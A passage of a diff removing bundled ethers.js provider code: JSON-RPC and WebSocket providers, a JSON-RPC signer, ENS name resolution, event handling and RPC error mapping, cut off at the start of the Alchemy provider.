0) { - confirmations = 1; - } - receipt.confirmations = confirmations; - } - return receipt; - }), { oncePoll: this }); - }); - } - getLogs(filter2) { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties2({ filter: this._getFilter(filter2) }); - const logs = yield this.perform("getLogs", params); - logs.forEach((log) => { - if (log.removed == null) { - log.removed = false; - } - }); - return Formatter2.arrayOf(this.formatter.filterLog.bind(this.formatter))(logs); - }); - } - getEtherPrice() { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - return this.perform("getEtherPrice", {}); - }); - } - _getBlockTag(blockTag) { - return __awaiter25(this, void 0, void 0, function* () { - blockTag = yield blockTag; - if (typeof blockTag === "number" && blockTag < 0) { - if (blockTag % 1) { - logger49.throwArgumentError("invalid BlockTag", "blockTag", blockTag); - } - let blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - blockNumber += blockTag; - if (blockNumber < 0) { - blockNumber = 0; - } - return this.formatter.blockTag(blockNumber); - } - return this.formatter.blockTag(blockTag); - }); - } - getResolver(name) { - return __awaiter25(this, void 0, void 0, function* () { - let currentName = name; - while (true) { - if (currentName === "" || currentName === ".") { - return null; - } - if (name !== "eth" && currentName === "eth") { - return null; - } - const addr = yield this._getResolver(currentName, "getResolver"); - if (addr != null) { - const resolver = new Resolver2(this, addr, name); - if (currentName !== name && !(yield resolver.supportsWildcard())) { - return null; - } - return resolver; - } - currentName = currentName.split(".").slice(1).join("."); - } - }); - } - _getResolver(name, operation) { - return __awaiter25(this, void 0, void 0, function* () { - if (operation == null) { - operation = "ENS"; - } - const network = yield this.getNetwork(); - if (!network.ensAddress) { - logger49.throwError("network does not support ENS", Logger2.errors.UNSUPPORTED_OPERATION, { operation, network: network.name }); - } - try { - const addrData = yield this.call({ - to: network.ensAddress, - data: "0x0178b8bf" + namehash2(name).substring(2) - }); - return this.formatter.callAddress(addrData); - } catch (error) { - } - return null; - }); - } - resolveName(name) { - return __awaiter25(this, void 0, void 0, function* () { - name = yield name; - try { - return Promise.resolve(this.formatter.address(name)); - } catch (error) { - if (isHexString2(name)) { - throw error; - } - } - if (typeof name !== "string") { - logger49.throwArgumentError("invalid ENS name", "name", name); - } - const resolver = yield this.getResolver(name); - if (!resolver) { - return null; - } - return yield resolver.getAddress(); - }); - } - lookupAddress(address) { - return __awaiter25(this, void 0, void 0, function* () { - address = yield address; - address = this.formatter.address(address); - const node = address.substring(2).toLowerCase() + ".addr.reverse"; - const resolverAddr = yield this._getResolver(node, "lookupAddress"); - if (resolverAddr == null) { - return null; - } - const name = _parseString2(yield this.call({ - to: resolverAddr, - data: "0x691f3431" + namehash2(node).substring(2) - }), 0); - const addr = yield this.resolveName(name); - if (addr != address) { - return null; - } - return name; - }); - } - getAvatar(nameOrAddress) { - return __awaiter25(this, void 0, void 0, function* () { - let resolver = null; - if (isHexString2(nameOrAddress)) { - const address = this.formatter.address(nameOrAddress); - const node = address.substring(2).toLowerCase() + ".addr.reverse"; - const resolverAddress = yield this._getResolver(node, "getAvatar"); - if (!resolverAddress) { - return null; - } - resolver = new Resolver2(this, resolverAddress, node); - try { - const avatar2 = yield resolver.getAvatar(); - if (avatar2) { - return avatar2.url; - } - } catch (error) { - if (error.code !== Logger2.errors.CALL_EXCEPTION) { - throw error; - } - } - try { - const name = _parseString2(yield this.call({ - to: resolverAddress, - data: "0x691f3431" + namehash2(node).substring(2) - }), 0); - resolver = yield this.getResolver(name); - } catch (error) { - if (error.code !== Logger2.errors.CALL_EXCEPTION) { - throw error; - } - return null; - } - } else { - resolver = yield this.getResolver(nameOrAddress); - if (!resolver) { - return null; - } - } - const avatar = yield resolver.getAvatar(); - if (avatar == null) { - return null; - } - return avatar.url; - }); - } - perform(method, params) { - return logger49.throwError(method + " not implemented", Logger2.errors.NOT_IMPLEMENTED, { operation: method }); - } - _startEvent(event) { - this.polling = this._events.filter((e) => e.pollable()).length > 0; - } - _stopEvent(event) { - this.polling = this._events.filter((e) => e.pollable()).length > 0; - } - _addEventListener(eventName, listener, once) { - const event = new Event2(getEventTag3(eventName), listener, once); - this._events.push(event); - this._startEvent(event); - return this; - } - on(eventName, listener) { - return this._addEventListener(eventName, listener, false); - } - once(eventName, listener) { - return this._addEventListener(eventName, listener, true); - } - emit(eventName, ...args) { - let result = false; - let stopped = []; - let eventTag = getEventTag3(eventName); - this._events = this._events.filter((event) => { - if (event.tag !== eventTag) { - return true; - } - setTimeout(() => { - event.listener.apply(this, args); - }, 0); - result = true; - if (event.once) { - stopped.push(event); - return false; - } - return true; - }); - stopped.forEach((event) => { - this._stopEvent(event); - }); - return result; - } - listenerCount(eventName) { - if (!eventName) { - return this._events.length; - } - let eventTag = getEventTag3(eventName); - return this._events.filter((event) => { - return event.tag === eventTag; - }).length; - } - listeners(eventName) { - if (eventName == null) { - return this._events.map((event) => event.listener); - } - let eventTag = getEventTag3(eventName); - return this._events.filter((event) => event.tag === eventTag).map((event) => event.listener); - } - off(eventName, listener) { - if (listener == null) { - return this.removeAllListeners(eventName); - } - const stopped = []; - let found = false; - let eventTag = getEventTag3(eventName); - this._events = this._events.filter((event) => { - if (event.tag !== eventTag || event.listener != listener) { - return true; - } - if (found) { - return true; - } - found = true; - stopped.push(event); - return false; - }); - stopped.forEach((event) => { - this._stopEvent(event); - }); - return this; - } - removeAllListeners(eventName) { - let stopped = []; - if (eventName == null) { - stopped = this._events; - this._events = []; - } else { - const eventTag = getEventTag3(eventName); - this._events = this._events.filter((event) => { - if (event.tag !== eventTag) { - return true; - } - stopped.push(event); - return false; - }); - } - stopped.forEach((event) => { - this._stopEvent(event); - }); - return this; - } - }; - - // node_modules/@ethersproject/providers/lib.esm/json-rpc-provider.js - var __awaiter26 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger50 = new Logger2(version43); - var errorGas2 = ["call", "estimateGas"]; - function spelunk2(value, requireData) { - if (value == null) { - return null; - } - if (typeof value.message === "string" && value.message.match("reverted")) { - const data = isHexString2(value.data) ? value.data : null; - if (!requireData || data) { - return { message: value.message, data }; - } - } - if (typeof value === "object") { - for (const key3 in value) { - const result = spelunk2(value[key3], requireData); - if (result) { - return result; - } - } - return null; - } - if (typeof value === "string") { - try { - return spelunk2(JSON.parse(value), requireData); - } catch (error) { - } - } - return null; - } - function checkError2(method, error, params) { - const transaction = params.transaction || params.signedTransaction; - if (method === "call") { - const result = spelunk2(error, true); - if (result) { - return result.data; - } - logger50.throwError("missing revert data in call exception; Transaction reverted without a reason string", Logger2.errors.CALL_EXCEPTION, { - data: "0x", - transaction, - error - }); - } - if (method === "estimateGas") { - let result = spelunk2(error.body, false); - if (result == null) { - result = spelunk2(error, false); - } - if (result) { - logger50.throwError("cannot estimate gas; transaction may fail or may require manual gas limit", Logger2.errors.UNPREDICTABLE_GAS_LIMIT, { - reason: result.message, - method, - transaction, - error - }); - } - } - let message = error.message; - if (error.code === Logger2.errors.SERVER_ERROR && error.error && typeof error.error.message === "string") { - message = error.error.message; - } else if (typeof error.body === "string") { - message = error.body; - } else if (typeof error.responseText === "string") { - message = error.responseText; - } - message = (message || "").toLowerCase(); - if (message.match(/insufficient funds|base fee exceeds gas limit|InsufficientFunds/i)) { - logger50.throwError("insufficient funds for intrinsic transaction cost", Logger2.errors.INSUFFICIENT_FUNDS, { - error, - method, - transaction - }); - } - if (message.match(/nonce (is )?too low/i)) { - logger50.throwError("nonce has already been used", Logger2.errors.NONCE_EXPIRED, { - error, - method, - transaction - }); - } - if (message.match(/replacement transaction underpriced|transaction gas price.*too low/i)) { - logger50.throwError("replacement fee too low", Logger2.errors.REPLACEMENT_UNDERPRICED, { - error, - method, - transaction - }); - } - if (message.match(/only replay-protected/i)) { - logger50.throwError("legacy pre-eip-155 transactions not supported", Logger2.errors.UNSUPPORTED_OPERATION, { - error, - method, - transaction - }); - } - if (errorGas2.indexOf(method) >= 0 && message.match(/gas required exceeds allowance|always failing transaction|execution reverted|revert/)) { - logger50.throwError("cannot estimate gas; transaction may fail or may require manual gas limit", Logger2.errors.UNPREDICTABLE_GAS_LIMIT, { - error, - method, - transaction - }); - } - throw error; - } - function timer2(timeout) { - return new Promise(function(resolve) { - setTimeout(resolve, timeout); - }); - } - function getResult2(payload) { - if (payload.error) { - const error = new Error(payload.error.message); - error.code = payload.error.code; - error.data = payload.error.data; - throw error; - } - return payload.result; - } - function getLowerCase2(value) { - if (value) { - return value.toLowerCase(); - } - return value; - } - var _constructorGuard7 = {}; - var JsonRpcSigner2 = class extends Signer2 { - constructor(constructorGuard, provider, addressOrIndex) { - super(); - if (constructorGuard !== _constructorGuard7) { - throw new Error("do not call the JsonRpcSigner constructor directly; use provider.getSigner"); - } - defineReadOnly2(this, "provider", provider); - if (addressOrIndex == null) { - addressOrIndex = 0; - } - if (typeof addressOrIndex === "string") { - defineReadOnly2(this, "_address", this.provider.formatter.address(addressOrIndex)); - defineReadOnly2(this, "_index", null); - } else if (typeof addressOrIndex === "number") { - defineReadOnly2(this, "_index", addressOrIndex); - defineReadOnly2(this, "_address", null); - } else { - logger50.throwArgumentError("invalid address or index", "addressOrIndex", addressOrIndex); - } - } - connect(provider) { - return logger50.throwError("cannot alter JSON-RPC Signer connection", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "connect" - }); - } - connectUnchecked() { - return new UncheckedJsonRpcSigner2(_constructorGuard7, this.provider, this._address || this._index); - } - getAddress() { - if (this._address) { - return Promise.resolve(this._address); - } - return this.provider.send("eth_accounts", []).then((accounts) => { - if (accounts.length <= this._index) { - logger50.throwError("unknown account #" + this._index, Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "getAddress" - }); - } - return this.provider.formatter.address(accounts[this._index]); - }); - } - sendUncheckedTransaction(transaction) { - transaction = shallowCopy2(transaction); - const fromAddress = this.getAddress().then((address) => { - if (address) { - address = address.toLowerCase(); - } - return address; - }); - if (transaction.gasLimit == null) { - const estimate = shallowCopy2(transaction); - estimate.from = fromAddress; - transaction.gasLimit = this.provider.estimateGas(estimate); - } - if (transaction.to != null) { - transaction.to = Promise.resolve(transaction.to).then((to) => __awaiter26(this, void 0, void 0, function* () { - if (to == null) { - return null; - } - const address = yield this.provider.resolveName(to); - if (address == null) { - logger50.throwArgumentError("provided ENS name resolves to null", "tx.to", to); - } - return address; - })); - } - return resolveProperties2({ - tx: resolveProperties2(transaction), - sender: fromAddress - }).then(({ tx, sender }) => { - if (tx.from != null) { - if (tx.from.toLowerCase() !== sender) { - logger50.throwArgumentError("from address mismatch", "transaction", transaction); - } - } else { - tx.from = sender; - } - const hexTx = this.provider.constructor.hexlifyTransaction(tx, { from: true }); - return this.provider.send("eth_sendTransaction", [hexTx]).then((hash3) => { - return hash3; - }, (error) => { - if (typeof error.message === "string" && error.message.match(/user denied/i)) { - logger50.throwError("user rejected transaction", Logger2.errors.ACTION_REJECTED, { - action: "sendTransaction", - transaction: tx - }); - } - return checkError2("sendTransaction", error, hexTx); - }); - }); - } - signTransaction(transaction) { - return logger50.throwError("signing transactions is unsupported", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "signTransaction" - }); - } - sendTransaction(transaction) { - return __awaiter26(this, void 0, void 0, function* () { - const blockNumber = yield this.provider._getInternalBlockNumber(100 + 2 * this.provider.pollingInterval); - const hash3 = yield this.sendUncheckedTransaction(transaction); - try { - return yield poll2(() => __awaiter26(this, void 0, void 0, function* () { - const tx = yield this.provider.getTransaction(hash3); - if (tx === null) { - return void 0; - } - return this.provider._wrapTransaction(tx, hash3, blockNumber); - }), { oncePoll: this.provider }); - } catch (error) { - error.transactionHash = hash3; - throw error; - } - }); - } - signMessage(message) { - return __awaiter26(this, void 0, void 0, function* () { - const data = typeof message === "string" ? toUtf8Bytes2(message) : message; - const address = yield this.getAddress(); - try { - return yield this.provider.send("personal_sign", [hexlify2(data), address.toLowerCase()]); - } catch (error) { - if (typeof error.message === "string" && error.message.match(/user denied/i)) { - logger50.throwError("user rejected signing", Logger2.errors.ACTION_REJECTED, { - action: "signMessage", - from: address, - messageData: message - }); - } - throw error; - } - }); - } - _legacySignMessage(message) { - return __awaiter26(this, void 0, void 0, function* () { - const data = typeof message === "string" ? toUtf8Bytes2(message) : message; - const address = yield this.getAddress(); - try { - return yield this.provider.send("eth_sign", [address.toLowerCase(), hexlify2(data)]); - } catch (error) { - if (typeof error.message === "string" && error.message.match(/user denied/i)) { - logger50.throwError("user rejected signing", Logger2.errors.ACTION_REJECTED, { - action: "_legacySignMessage", - from: address, - messageData: message - }); - } - throw error; - } - }); - } - _signTypedData(domain, types, value) { - return __awaiter26(this, void 0, void 0, function* () { - const populated = yield TypedDataEncoder2.resolveNames(domain, types, value, (name) => { - return this.provider.resolveName(name); - }); - const address = yield this.getAddress(); - try { - return yield this.provider.send("eth_signTypedData_v4", [ - address.toLowerCase(), - JSON.stringify(TypedDataEncoder2.getPayload(populated.domain, types, populated.value)) - ]); - } catch (error) { - if (typeof error.message === "string" && error.message.match(/user denied/i)) { - logger50.throwError("user rejected signing", Logger2.errors.ACTION_REJECTED, { - action: "_signTypedData", - from: address, - messageData: { domain: populated.domain, types, value: populated.value } - }); - } - throw error; - } - }); - } - unlock(password) { - return __awaiter26(this, void 0, void 0, function* () { - const provider = this.provider; - const address = yield this.getAddress(); - return provider.send("personal_unlockAccount", [address.toLowerCase(), password, null]); - }); - } - }; - var UncheckedJsonRpcSigner2 = class extends JsonRpcSigner2 { - sendTransaction(transaction) { - return this.sendUncheckedTransaction(transaction).then((hash3) => { - return { - hash: hash3, - nonce: null, - gasLimit: null, - gasPrice: null, - data: null, - value: null, - chainId: null, - confirmations: 0, - from: null, - wait: (confirmations) => { - return this.provider.waitForTransaction(hash3, confirmations); - } - }; - }); - } - }; - var allowedTransactionKeys6 = { - chainId: true, - data: true, - gasLimit: true, - gasPrice: true, - nonce: true, - to: true, - value: true, - type: true, - accessList: true, - maxFeePerGas: true, - maxPriorityFeePerGas: true - }; - var JsonRpcProvider2 = class extends BaseProvider2 { - constructor(url, network) { - let networkOrReady = network; - if (networkOrReady == null) { - networkOrReady = new Promise((resolve, reject) => { - setTimeout(() => { - this.detectNetwork().then((network2) => { - resolve(network2); - }, (error) => { - reject(error); - }); - }, 0); - }); - } - super(networkOrReady); - if (!url) { - url = getStatic2(this.constructor, "defaultUrl")(); - } - if (typeof url === "string") { - defineReadOnly2(this, "connection", Object.freeze({ - url - })); - } else { - defineReadOnly2(this, "connection", Object.freeze(shallowCopy2(url))); - } - this._nextId = 42; - } - get _cache() { - if (this._eventLoopCache == null) { - this._eventLoopCache = {}; - } - return this._eventLoopCache; - } - static defaultUrl() { - return "http://localhost:8545"; - } - detectNetwork() { - if (!this._cache["detectNetwork"]) { - this._cache["detectNetwork"] = this._uncachedDetectNetwork(); - setTimeout(() => { - this._cache["detectNetwork"] = null; - }, 0); - } - return this._cache["detectNetwork"]; - } - _uncachedDetectNetwork() { - return __awaiter26(this, void 0, void 0, function* () { - yield timer2(0); - let chainId = null; - try { - chainId = yield this.send("eth_chainId", []); - } catch (error) { - try { - chainId = yield this.send("net_version", []); - } catch (error2) { - } - } - if (chainId != null) { - const getNetwork3 = getStatic2(this.constructor, "getNetwork"); - try { - return getNetwork3(BigNumber2.from(chainId).toNumber()); - } catch (error) { - return logger50.throwError("could not detect network", Logger2.errors.NETWORK_ERROR, { - chainId, - event: "invalidNetwork", - serverError: error - }); - } - } - return logger50.throwError("could not detect network", Logger2.errors.NETWORK_ERROR, { - event: "noNetwork" - }); - }); - } - getSigner(addressOrIndex) { - return new JsonRpcSigner2(_constructorGuard7, this, addressOrIndex); - } - getUncheckedSigner(addressOrIndex) { - return this.getSigner(addressOrIndex).connectUnchecked(); - } - listAccounts() { - return this.send("eth_accounts", []).then((accounts) => { - return accounts.map((a) => this.formatter.address(a)); - }); - } - send(method, params) { - const request = { - method, - params, - id: this._nextId++, - jsonrpc: "2.0" - }; - this.emit("debug", { - action: "request", - request: deepCopy2(request), - provider: this - }); - const cache = ["eth_chainId", "eth_blockNumber"].indexOf(method) >= 0; - if (cache && this._cache[method]) { - return this._cache[method]; - } - const result = fetchJson2(this.connection, JSON.stringify(request), getResult2).then((result2) => { - this.emit("debug", { - action: "response", - request, - response: result2, - provider: this - }); - return result2; - }, (error) => { - this.emit("debug", { - action: "response", - error, - request, - provider: this - }); - throw error; - }); - if (cache) { - this._cache[method] = result; - setTimeout(() => { - this._cache[method] = null; - }, 0); - } - return result; - } - prepareRequest(method, params) { - switch (method) { - case "getBlockNumber": - return ["eth_blockNumber", []]; - case "getGasPrice": - return ["eth_gasPrice", []]; - case "getBalance": - return ["eth_getBalance", [getLowerCase2(params.address), params.blockTag]]; - case "getTransactionCount": - return ["eth_getTransactionCount", [getLowerCase2(params.address), params.blockTag]]; - case "getCode": - return ["eth_getCode", [getLowerCase2(params.address), params.blockTag]]; - case "getStorageAt": - return ["eth_getStorageAt", [getLowerCase2(params.address), hexZeroPad2(params.position, 32), params.blockTag]]; - case "sendTransaction": - return ["eth_sendRawTransaction", [params.signedTransaction]]; - case "getBlock": - if (params.blockTag) { - return ["eth_getBlockByNumber", [params.blockTag, !!params.includeTransactions]]; - } else if (params.blockHash) { - return ["eth_getBlockByHash", [params.blockHash, !!params.includeTransactions]]; - } - return null; - case "getTransaction": - return ["eth_getTransactionByHash", [params.transactionHash]]; - case "getTransactionReceipt": - return ["eth_getTransactionReceipt", [params.transactionHash]]; - case "call": { - const hexlifyTransaction = getStatic2(this.constructor, "hexlifyTransaction"); - return ["eth_call", [hexlifyTransaction(params.transaction, { from: true }), params.blockTag]]; - } - case "estimateGas": { - const hexlifyTransaction = getStatic2(this.constructor, "hexlifyTransaction"); - return ["eth_estimateGas", [hexlifyTransaction(params.transaction, { from: true })]]; - } - case "getLogs": - if (params.filter && params.filter.address != null) { - params.filter.address = getLowerCase2(params.filter.address); - } - return ["eth_getLogs", [params.filter]]; - default: - break; - } - return null; - } - perform(method, params) { - return __awaiter26(this, void 0, void 0, function* () { - if (method === "call" || method === "estimateGas") { - const tx = params.transaction; - if (tx && tx.type != null && BigNumber2.from(tx.type).isZero()) { - if (tx.maxFeePerGas == null && tx.maxPriorityFeePerGas == null) { - const feeData = yield this.getFeeData(); - if (feeData.maxFeePerGas == null && feeData.maxPriorityFeePerGas == null) { - params = shallowCopy2(params); - params.transaction = shallowCopy2(tx); - delete params.transaction.type; - } - } - } - } - const args = this.prepareRequest(method, params); - if (args == null) { - logger50.throwError(method + " not implemented", Logger2.errors.NOT_IMPLEMENTED, { operation: method }); - } - try { - return yield this.send(args[0], args[1]); - } catch (error) { - return checkError2(method, error, params); - } - }); - } - _startEvent(event) { - if (event.tag === "pending") { - this._startPending(); - } - super._startEvent(event); - } - _startPending() { - if (this._pendingFilter != null) { - return; - } - const self2 = this; - const pendingFilter = this.send("eth_newPendingTransactionFilter", []); - this._pendingFilter = pendingFilter; - pendingFilter.then(function(filterId) { - function poll3() { - self2.send("eth_getFilterChanges", [filterId]).then(function(hashes) { - if (self2._pendingFilter != pendingFilter) { - return null; - } - let seq = Promise.resolve(); - hashes.forEach(function(hash3) { - self2._emitted["t:" + hash3.toLowerCase()] = "pending"; - seq = seq.then(function() { - return self2.getTransaction(hash3).then(function(tx) { - self2.emit("pending", tx); - return null; - }); - }); - }); - return seq.then(function() { - return timer2(1e3); - }); - }).then(function() { - if (self2._pendingFilter != pendingFilter) { - self2.send("eth_uninstallFilter", [filterId]); - return; - } - setTimeout(function() { - poll3(); - }, 0); - return null; - }).catch((error) => { - }); - } - poll3(); - return filterId; - }).catch((error) => { - }); - } - _stopEvent(event) { - if (event.tag === "pending" && this.listenerCount("pending") === 0) { - this._pendingFilter = null; - } - super._stopEvent(event); - } - // Convert an ethers.js transaction into a JSON-RPC transaction - // - gasLimit => gas - // - All values hexlified - // - All numeric values zero-striped - // - All addresses are lowercased - // NOTE: This allows a TransactionRequest, but all values should be resolved - // before this is called - // @TODO: This will likely be removed in future versions and prepareRequest - // will be the preferred method for this. - static hexlifyTransaction(transaction, allowExtra) { - const allowed = shallowCopy2(allowedTransactionKeys6); - if (allowExtra) { - for (const key3 in allowExtra) { - if (allowExtra[key3]) { - allowed[key3] = true; - } - } - } - checkProperties2(transaction, allowed); - const result = {}; - ["chainId", "gasLimit", "gasPrice", "type", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "value"].forEach(function(key3) { - if (transaction[key3] == null) { - return; - } - const value = hexValue2(BigNumber2.from(transaction[key3])); - if (key3 === "gasLimit") { - key3 = "gas"; - } - result[key3] = value; - }); - ["from", "to", "data"].forEach(function(key3) { - if (transaction[key3] == null) { - return; - } - result[key3] = hexlify2(transaction[key3]); - }); - if (transaction.accessList) { - result["accessList"] = accessListify2(transaction.accessList); - } - return result; - } - }; - - // node_modules/@ethersproject/providers/lib.esm/ws.js - var WS = null; - try { - WS = WebSocket; - if (WS == null) { - throw new Error("inject please"); - } - } catch (error) { - const logger66 = new Logger2(version43); - WS = function() { - logger66.throwError("WebSockets not supported in this environment", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "new WebSocket()" - }); - }; - } - - // node_modules/@ethersproject/providers/lib.esm/websocket-provider.js - var __awaiter27 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger51 = new Logger2(version43); - var NextId = 1; - var WebSocketProvider = class extends JsonRpcProvider2 { - constructor(url, network) { - if (network === "any") { - logger51.throwError("WebSocketProvider does not support 'any' network yet", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "network:any" - }); - } - if (typeof url === "string") { - super(url, network); - } else { - super("_websocket", network); - } - this._pollingInterval = -1; - this._wsReady = false; - if (typeof url === "string") { - defineReadOnly2(this, "_websocket", new WS(this.connection.url)); - } else { - defineReadOnly2(this, "_websocket", url); - } - defineReadOnly2(this, "_requests", {}); - defineReadOnly2(this, "_subs", {}); - defineReadOnly2(this, "_subIds", {}); - defineReadOnly2(this, "_detectNetwork", super.detectNetwork()); - this.websocket.onopen = () => { - this._wsReady = true; - Object.keys(this._requests).forEach((id3) => { - this.websocket.send(this._requests[id3].payload); - }); - }; - this.websocket.onmessage = (messageEvent) => { - const data = messageEvent.data; - const result = JSON.parse(data); - if (result.id != null) { - const id3 = String(result.id); - const request = this._requests[id3]; - delete this._requests[id3]; - if (result.result !== void 0) { - request.callback(null, result.result); - this.emit("debug", { - action: "response", - request: JSON.parse(request.payload), - response: result.result, - provider: this - }); - } else { - let error = null; - if (result.error) { - error = new Error(result.error.message || "unknown error"); - defineReadOnly2(error, "code", result.error.code || null); - defineReadOnly2(error, "response", data); - } else { - error = new Error("unknown error"); - } - request.callback(error, void 0); - this.emit("debug", { - action: "response", - error, - request: JSON.parse(request.payload), - provider: this - }); - } - } else if (result.method === "eth_subscription") { - const sub = this._subs[result.params.subscription]; - if (sub) { - sub.processFunc(result.params.result); - } - } else { - console.warn("this should not happen"); - } - }; - const fauxPoll = setInterval(() => { - this.emit("poll"); - }, 1e3); - if (fauxPoll.unref) { - fauxPoll.unref(); - } - } - // Cannot narrow the type of _websocket, as that is not backwards compatible - // so we add a getter and let the WebSocket be a public API. - get websocket() { - return this._websocket; - } - detectNetwork() { - return this._detectNetwork; - } - get pollingInterval() { - return 0; - } - resetEventsBlock(blockNumber) { - logger51.throwError("cannot reset events block on WebSocketProvider", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "resetEventBlock" - }); - } - set pollingInterval(value) { - logger51.throwError("cannot set polling interval on WebSocketProvider", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "setPollingInterval" - }); - } - poll() { - return __awaiter27(this, void 0, void 0, function* () { - return null; - }); - } - set polling(value) { - if (!value) { - return; - } - logger51.throwError("cannot set polling on WebSocketProvider", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "setPolling" - }); - } - send(method, params) { - const rid = NextId++; - return new Promise((resolve, reject) => { - function callback(error, result) { - if (error) { - return reject(error); - } - return resolve(result); - } - const payload = JSON.stringify({ - method, - params, - id: rid, - jsonrpc: "2.0" - }); - this.emit("debug", { - action: "request", - request: JSON.parse(payload), - provider: this - }); - this._requests[String(rid)] = { callback, payload }; - if (this._wsReady) { - this.websocket.send(payload); - } - }); - } - static defaultUrl() { - return "ws://localhost:8546"; - } - _subscribe(tag, param, processFunc) { - return __awaiter27(this, void 0, void 0, function* () { - let subIdPromise = this._subIds[tag]; - if (subIdPromise == null) { - subIdPromise = Promise.all(param).then((param2) => { - return this.send("eth_subscribe", param2); - }); - this._subIds[tag] = subIdPromise; - } - const subId = yield subIdPromise; - this._subs[subId] = { tag, processFunc }; - }); - } - _startEvent(event) { - switch (event.type) { - case "block": - this._subscribe("block", ["newHeads"], (result) => { - const blockNumber = BigNumber2.from(result.number).toNumber(); - this._emitted.block = blockNumber; - this.emit("block", blockNumber); - }); - break; - case "pending": - this._subscribe("pending", ["newPendingTransactions"], (result) => { - this.emit("pending", result); - }); - break; - case "filter": - this._subscribe(event.tag, ["logs", this._getFilter(event.filter)], (result) => { - if (result.removed == null) { - result.removed = false; - } - this.emit(event.filter, this.formatter.filterLog(result)); - }); - break; - case "tx": { - const emitReceipt = (event2) => { - const hash3 = event2.hash; - this.getTransactionReceipt(hash3).then((receipt) => { - if (!receipt) { - return; - } - this.emit(hash3, receipt); - }); - }; - emitReceipt(event); - this._subscribe("tx", ["newHeads"], (result) => { - this._events.filter((e) => e.type === "tx").forEach(emitReceipt); - }); - break; - } - case "debug": - case "poll": - case "willPoll": - case "didPoll": - case "error": - break; - default: - console.log("unhandled:", event); - break; - } - } - _stopEvent(event) { - let tag = event.tag; - if (event.type === "tx") { - if (this._events.filter((e) => e.type === "tx").length) { - return; - } - tag = "tx"; - } else if (this.listenerCount(event.event)) { - return; - } - const subId = this._subIds[tag]; - if (!subId) { - return; - } - delete this._subIds[tag]; - subId.then((subId2) => { - if (!this._subs[subId2]) { - return; - } - delete this._subs[subId2]; - this.send("eth_unsubscribe", [subId2]); - }); - } - destroy() { - return __awaiter27(this, void 0, void 0, function* () { - if (this.websocket.readyState === WS.CONNECTING) { - yield new Promise((resolve) => { - this.websocket.onopen = function() { - resolve(true); - }; - this.websocket.onerror = function() { - resolve(false); - }; - }); - } - this.websocket.close(1e3); - }); - } - }; - - // node_modules/@ethersproject/providers/lib.esm/url-json-rpc-provider.js - var __awaiter28 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger52 = new Logger2(version43); - var StaticJsonRpcProvider = class extends JsonRpcProvider2 { - detectNetwork() { - const _super = Object.create(null, { - detectNetwork: { get: () => super.detectNetwork } - }); - return __awaiter28(this, void 0, void 0, function* () { - let network = this.network; - if (network == null) { - network = yield _super.detectNetwork.call(this); - if (!network) { - logger52.throwError("no network detected", Logger2.errors.UNKNOWN_ERROR, {}); - } - if (this._network == null) { - defineReadOnly2(this, "_network", network); - this.emit("network", network, null); - } - } - return network; - }); - } - }; - var UrlJsonRpcProvider = class _UrlJsonRpcProvider extends StaticJsonRpcProvider { - constructor(network, apiKey) { - logger52.checkAbstract(new.target, _UrlJsonRpcProvider); - network = getStatic2(new.target, "getNetwork")(network); - apiKey = getStatic2(new.target, "getApiKey")(apiKey); - const connection = getStatic2(new.target, "getUrl")(network, apiKey); - super(connection, network); - if (typeof apiKey === "string") { - defineReadOnly2(this, "apiKey", apiKey); - } else if (apiKey != null) { - Object.keys(apiKey).forEach((key3) => { - defineReadOnly2(this, key3, apiKey[key3]); - }); - } - } - _startPending() { - logger52.warn("WARNING: API provider does not support pending filters"); - } - isCommunityResource() { - return false; - } - getSigner(address) { - return logger52.throwError("API provider does not support signing", Logger2.errors.UNSUPPORTED_OPERATION, { operation: "getSigner" }); - } - listAccounts() { - return Promise.resolve([]); - } - // Return a defaultApiKey if null, otherwise validate the API key - static getApiKey(apiKey) { - return apiKey; - } - // Returns the url or connection for the given network and API key. The - // API key will have been sanitized by the getApiKey first, so any validation - // or transformations can be done there. - static getUrl(network, apiKey) { - return logger52.throwError("not implemented; sub-classes must override getUrl", Logger2.errors.NOT_IMPLEMENTED, { - operation: "getUrl" - }); - } - }; - - // node_modules/@ethersproject/providers/lib.esm/alchemy-provider.js - var logger53 = new Logger2(version43); - var defaultApiKey = "_gg7wSSi0KMBsdKnGVfHDueq6xMB9EkC"; - var AlchemyWebSocketProvider = class extends WebSocketProvider { - constructor(network, apiKey) { - const provider = new AlchemyProvider(network, apiKey); - const url = 